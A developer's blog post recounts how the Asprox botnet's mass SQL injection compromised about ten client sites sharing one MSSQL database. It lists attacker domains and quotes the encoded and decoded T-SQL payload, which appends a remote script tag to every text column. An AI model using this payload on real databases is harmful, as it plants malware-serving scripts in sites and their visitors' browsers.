Well recently we have been the victim off a mass SQL injection attack that has been sweeping across the Internet the past few months. Now I have been quite aware of SQL injection for quite a while now, when I first took over the clients of a small web design company some of the sites were hacked into and defaced or had scripts installed. The original programmers were clearly retards and had not sanitised most of the user inputs.
However this attack caught me somewhat off guard and has been an important lesson. Firstly we made the stupid mistake of using 1 MSSQL Db for around 10 website. This was for a financial reason as most clients only pay a few hundred a year in hosting and a single MSSQL Db with our hosting company costs £150+vat. Secondly it would appear we did not take security as seriously as we should. Now don’t get me wrong, we validate all user inputs and do all the normal things we should do however due to time constraints and increasing costs we did not check every single site on completion for vulnerabilities. This was obviously a HUGE mistake and our database was compromised and with it being a shared DB around 10 sites were hit at once.
These attacks are not just a one off occurrence they appear to be automated and carried out by the Asprox BotNet. Asprox is typically used to send out Phishing e-mails but it appears that the people behind the BotNet are keeping up with the latest vulnerabilities and expanding into newer techniques.
Joe Stewart the Director of malware research at Atlanta-based Secureworks has said the BotNet has been updated with an executable file – “msscntr32.exe” that installs as a Windows service dubbed “Microsoft Security Center Extension.” but the executable actually installs an SQL-injection attack tool.
After the Asprox botnet seeds its bots with the msscntr32.exe file, the attack tool launches and uses Google’s search engine to find potentially-vulnerable pages.
From the sites we had hacked and the thousands of other sites out there that are hacked the BotNet carries out waht looks like quite a complex SQL injection that adds add a <SCRIPT SRC> to the end off all the records in all the tables.
The domains the code uses change frequently but they include
- www.nihaorr1.com
- www.aspder.com
- www.datajto.com
- www.adsitelo.com
- www.chinabnr.com
- www.adwbnr.com
- www.chkbnr.com
- www.chkadw.com
The JavaScript file is typically called b.js, 1,js or a.js.
The code used in the query string typically looks like:
;DECLARE @S NVARCHAR(4000);SET @S=CAST0×440045000043005500520053004F005200200046004F0050020004600450054004300480020004E00450058005400
2000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400
054002C0040004300200057280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00
270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E0
06900680061006F00720010062006C0065005F0043007500720073006F007200
AS NVARCHAR(4000));EXEC(@S);–’
And when decrypted it looks like:
DECLARE @T varchar(255)’@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name’b.name from sysobjects a’syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T’@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C+']=rtrim(convert(varchar’['+@C+']))+”<script src=nihaorr1.com/1.js></script>”’)FETCH NEXT FROM Table_Cursor INTO @T’@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Obviously the way to avoid this attack in the future it to make sure that every single user input is checked and any offending words or characters are removed. One of the problems we found was that even if you clean all the code in your DB the attack will keep happening constantly until all the vulnerabilities are resolved.
A quick resolution we implemented was to check the length of the query string on every page and if it was over a certain number of characters it would redirect.
if len(Request.Servervariables(”Query_String”)) > 100 then
response.clear
response.redirect http://www.example.co.uk/
end if
Obviously this should only be used as an added layer of security and not as the only form of security.
Another security feature I also implemented is to check the data leaving the DB as well as the data being passed into the DB. I implemented this to make sure that even if the DB was accessed no script could cause too much damage to the site. Non of our clients should be using JavaScript so we typically remove all the code between <SCRIPT and </SCRIPT>. I think this is a worthwhile layer of security because we found several of our sites have dropped in the rankings within Google and if the scripts are left un-noticed you could end up with the dreaded “This site may harm your computer.” warning and believe me you will get no traffic from Google until this is resolved which can take 2+ weeks.
I also highly recommend using a system to check for vulnerabilities in the website, this should identify any parts areas that you may of missed. Unfortunately the problem with these systems is I strongly suspect they are not as good as they make themselves out to be. I used McAfee Secure and while it identified areas we had missed it looks like it gave the all clear for the website that actually got hacked into. I have also heard a few bad things about the McAfee Secure service/company so I would not personally recommend them and would advise you do some research into these services first.
